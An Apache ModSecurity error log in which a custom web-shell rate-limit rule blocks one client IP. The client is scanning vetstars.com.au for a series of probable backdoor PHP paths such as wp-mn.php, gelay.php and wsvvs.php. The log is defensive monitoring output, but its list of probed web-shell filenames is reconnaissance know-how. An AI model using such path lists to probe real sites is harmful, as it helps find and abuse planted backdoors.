[Sun Mar 29 18:55:25.545105 2026] [:error] [pid 23284:tid 23290] [client 51.103.28.129:23049] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mn.php"] [unique_id "ackFHYzBujdPHsq7wyQvzwAAAoQ"]
[Sun Mar 29 18:55:27.543758 2026] [:error] [pid 23167:tid 23193] [client 51.103.28.129:21613] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mn.php"] [unique_id "ackFHxIAHJCFaHff3_eXlgAAAdc"]
[Sun Mar 29 18:55:30.099352 2026] [:error] [pid 23250:tid 23253] [client 51.103.28.129:61045] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "ackFIpxrpj-dQjy1cvroVwAAAkE"]
[Sun Mar 29 18:55:30.839852 2026] [:error] [pid 32255:tid 32302] [client 51.103.28.129:21588] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "ackFImnfn-AtRoMbquypxAAAAEs"]
[Sun Mar 29 18:55:33.190183 2026] [:error] [pid 8818:tid 8846] [client 51.103.28.129:18875] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "ackFJSCDvotZNSF0FBq9OQAAAVg"]
[Sun Mar 29 18:55:33.943604 2026] [:error] [pid 23137:tid 23161] [client 51.103.28.129:53619] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "ackFJRaWQa7LdZ_qGFbihQAAAZY"]
[Sun Mar 29 18:55:34.845821 2026] [:error] [pid 23168:tid 23210] [client 51.103.28.129:31263] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abe.php"] [unique_id "ackFJmP8p0yRL8ot_29o_QAAAg0"]
[Sun Mar 29 18:55:36.037851 2026] [:error] [pid 23168:tid 23209] [client 51.103.28.129:60999] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abe.php"] [unique_id "ackFKGP8p0yRL8ot_29pAQAAAgw"]
[Sun Mar 29 18:55:37.644992 2026] [:error] [pid 23167:tid 23177] [client 51.103.28.129:20841] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abe.php"] [unique_id "ackFKRIAHJCFaHff3_eXsQAAAcc"]
[Sun Mar 29 18:55:39.059138 2026] [:error] [pid 32257:tid 32329] [client 51.103.28.129:53625] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abe.php"] [unique_id "ackFKyE3TArOFrUtgWrYOAAAAIs"]
[Sun Mar 29 18:55:39.925947 2026] [:error] [pid 23167:tid 23176] [client 51.103.28.129:44669] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "ackFKxIAHJCFaHff3_eXzAAAAcY"]
[Sun Mar 29 18:55:41.707319 2026] [:error] [pid 23284:tid 23288] [client 51.103.28.129:17729] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "ackFLYzBujdPHsq7wyQwBQAAAoI"]
[Sun Mar 29 18:55:42.799704 2026] [:error] [pid 32257:tid 32320] [client 51.103.28.129:62394] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "ackFLiE3TArOFrUtgWrYQQAAAII"]
[Sun Mar 29 18:55:43.599994 2026] [:error] [pid 23167:tid 23173] [client 51.103.28.129:15808] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/index.php"] [unique_id "ackFLxIAHJCFaHff3_eX6QAAAcM"]
[Sun Mar 29 18:55:44.812682 2026] [:error] [pid 23167:tid 23174] [client 51.103.28.129:53594] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "ackFMBIAHJCFaHff3_eX8gAAAcQ"]
[Sun Mar 29 18:55:45.545354 2026] [:error] [pid 23284:tid 23286] [client 51.103.28.129:42965] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "ackFMYzBujdPHsq7wyQwFwAAAoA"]
[Sun Mar 29 18:55:46.240553 2026] [:error] [pid 32257:tid 32334] [client 51.103.28.129:42518] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "ackFMiE3TArOFrUtgWrYTgAAAJA"]
[Sun Mar 29 18:55:46.934086 2026] [:error] [pid 8818:tid 8833] [client 51.103.28.129:44617] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "ackFMiCDvotZNSF0FBq9PwAAAUs"]
[Sun Mar 29 18:55:47.815159 2026] [:error] [pid 23284:tid 23297] [client 51.103.28.129:61077] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gelay.php"] [unique_id "ackFM4zBujdPHsq7wyQwTAAAAos"]
[Sun Mar 29 18:55:48.518335 2026] [:error] [pid 23284:tid 23292] [client 51.103.28.129:42496] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gelay.php"] [unique_id "ackFNIzBujdPHsq7wyQwUQAAAoY"]
[Sun Mar 29 18:55:49.457036 2026] [:error] [pid 23284:tid 23309] [client 51.103.28.129:23046] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gelay.php"] [unique_id "ackFNYzBujdPHsq7wyQwVwAAApc"]
[Sun Mar 29 18:55:50.247665 2026] [:error] [pid 32257:tid 32337] [client 51.103.28.129:57956] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gelay.php"] [unique_id "ackFNiE3TArOFrUtgWrYWAAAAJM"]
[Sun Mar 29 18:55:51.052293 2026] [:error] [pid 23284:tid 23287] [client 51.103.28.129:20816] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class.php"] [unique_id "ackFN4zBujdPHsq7wyQwWwAAAoE"]
[Sun Mar 29 18:55:51.670817 2026] [:error] [pid 32255:tid 32315] [client 51.103.28.129:53575] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class.php"] [unique_id "ackFN2nfn-AtRoMbquyp4gAAAFg"]
[Sun Mar 29 18:55:52.471809 2026] [:error] [pid 23284:tid 23306] [client 51.103.28.129:17393] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class.php"] [unique_id "ackFOIzBujdPHsq7wyQwYgAAApQ"]
[Sun Mar 29 18:55:53.441928 2026] [:error] [pid 23284:tid 23292] [client 51.103.28.129:48465] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class.php"] [unique_id "ackFOYzBujdPHsq7wyQwaAAAAoY"]
[Sun Mar 29 18:55:54.448676 2026] [:error] [pid 32257:tid 32329] [client 51.103.28.129:42954] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "ackFOiE3TArOFrUtgWrYhgAAAIs"]
[Sun Mar 29 18:55:55.048612 2026] [:error] [pid 23284:tid 23295] [client 51.103.28.129:53599] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "ackFO4zBujdPHsq7wyQwcAAAAok"]
[Sun Mar 29 18:55:56.170110 2026] [:error] [pid 23284:tid 23298] [client 51.103.28.129:27386] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "ackFPIzBujdPHsq7wyQwdQAAAow"]
[Sun Mar 29 18:55:57.313420 2026] [:error] [pid 23284:tid 23297] [client 51.103.28.129:62389] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bs1.php"] [unique_id "ackFPYzBujdPHsq7wyQwegAAAos"]
[Sun Mar 29 18:55:58.308935 2026] [:error] [pid 23168:tid 23219] [client 51.103.28.129:17395] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ackFPmP8p0yRL8ot_29pKwAAAhY"]
[Sun Mar 29 18:55:59.237658 2026] [:error] [pid 23284:tid 23289] [client 51.103.28.129:48499] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ackFP4zBujdPHsq7wyQwgwAAAoM"]
[Sun Mar 29 18:55:59.982051 2026] [:error] [pid 23284:tid 23302] [client 51.103.28.129:31235] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ackFP4zBujdPHsq7wyQwhwAAApA"]
[Sun Mar 29 18:56:00.881557 2026] [:error] [pid 23167:tid 23170] [client 51.103.28.129:23063] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ackFQBIAHJCFaHff3_eYHQAAAcA"]
[Sun Mar 29 18:56:02.187909 2026] [:error] [pid 32257:tid 32341] [client 51.103.28.129:37800] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "ackFQiE3TArOFrUtgWrYrwAAAJc"]
[Sun Mar 29 18:56:03.481603 2026] [:error] [pid 32257:tid 32342] [client 51.103.28.129:20859] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "ackFQyE3TArOFrUtgWrYtQAAAJg"]
[Sun Mar 29 18:56:04.565771 2026] [:error] [pid 32257:tid 32335] [client 51.103.28.129:53064] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "ackFRCE3TArOFrUtgWrYvgAAAJE"]
[Sun Mar 29 18:56:05.508838 2026] [:error] [pid 23168:tid 23209] [client 51.103.28.129:48493] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "ackFRWP8p0yRL8ot_29pMwAAAgw"]
[Sun Mar 29 18:56:06.503837 2026] [:error] [pid 23284:tid 23300] [client 51.103.28.129:37768] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vbbn.php"] [unique_id "ackFRozBujdPHsq7wyQwnwAAAo4"]
[Sun Mar 29 18:56:07.739201 2026] [:error] [pid 23284:tid 23308] [client 51.103.28.129:37808] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vbbn.php"] [unique_id "ackFR4zBujdPHsq7wyQwpgAAApY"]
[Sun Mar 29 18:56:08.844666 2026] [:error] [pid 23284:tid 23291] [client 51.103.28.129:47983] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vbbn.php"] [unique_id "ackFSIzBujdPHsq7wyQwrgAAAoU"]
[Sun Mar 29 18:56:10.043052 2026] [:error] [pid 23137:tid 23163] [client 51.103.28.129:47961] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vbbn.php"] [unique_id "ackFShaWQa7LdZ_qGFbimAAAAZg"]
[Sun Mar 29 18:57:01.782949 2026] [:error] [pid 32257:tid 32325] [client 51.103.28.129:38550] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "ackFfSE3TArOFrUtgWrZLQAAAIc"]
[Sun Mar 29 18:57:02.836507 2026] [:error] [pid 32255:tid 32297] [client 51.103.28.129:23104] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "ackFfmnfn-AtRoMbquyqZgAAAEY"]
[Sun Mar 29 18:57:03.428119 2026] [:error] [pid 32254:tid 32266] [client 51.103.28.129:35883] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "ackFf6ug2IHuyGgCTn9LUAAAAAI"]
[Sun Mar 29 18:57:04.939164 2026] [:error] [pid 32254:tid 32267] [client 51.103.28.129:3099] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rh.php"] [unique_id "ackFgKug2IHuyGgCTn9LUQAAAAM"]
[Sun Mar 29 18:57:05.677671 2026] [:error] [pid 23168:tid 23219] [client 51.103.28.129:40473] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "ackFgWP8p0yRL8ot_29pfQAAAhY"]
[Sun Mar 29 18:57:06.338667 2026] [:error] [pid 32257:tid 32323] [client 51.103.28.129:51524] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "ackFgiE3TArOFrUtgWrZLwAAAIU"]
[Sun Mar 29 18:57:06.912138 2026] [:error] [pid 32254:tid 32284] [client 51.103.28.129:25313] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "ackFgqug2IHuyGgCTn9LVAAAABQ"]
[Sun Mar 29 18:57:07.544733 2026] [:error] [pid 32359:tid 32361] [client 51.103.28.129:40488] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "ackFgwMb8G3UzfQP3WgZhAAAAMA"]
[Sun Mar 29 18:57:08.687987 2026] [:error] [pid 23168:tid 23214] [client 51.103.28.129:45247] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "ackFhGP8p0yRL8ot_29pgQAAAhE"]
[Sun Mar 29 18:57:10.163658 2026] [:error] [pid 23168:tid 23208] [client 51.103.28.129:49031] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "ackFhmP8p0yRL8ot_29phAAAAgs"]
[Sun Mar 29 18:57:11.371666 2026] [:error] [pid 23284:tid 23290] [client 51.103.28.129:44057] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "ackFh4zBujdPHsq7wyQxBgAAAoQ"]
[Sun Mar 29 18:57:12.728866 2026] [:error] [pid 8818:tid 8838] [client 51.103.28.129:51550] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "ackFiCCDvotZNSF0FBq9uAAAAVA"]
[Sun Mar 29 18:57:13.342981 2026] [:error] [pid 23284:tid 23286] [client 51.103.28.129:4002] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "ackFiYzBujdPHsq7wyQxCQAAAoA"]
[Sun Mar 29 18:57:14.639156 2026] [:error] [pid 23284:tid 23295] [client 51.103.28.129:49065] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "ackFiozBujdPHsq7wyQxEAAAAok"]
[Sun Mar 29 18:57:15.398567 2026] [:error] [pid 23167:tid 23192] [client 51.103.28.129:3134] [client 51.103.28.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "ackFixIAHJCFaHff3_eYigAAAdY"]
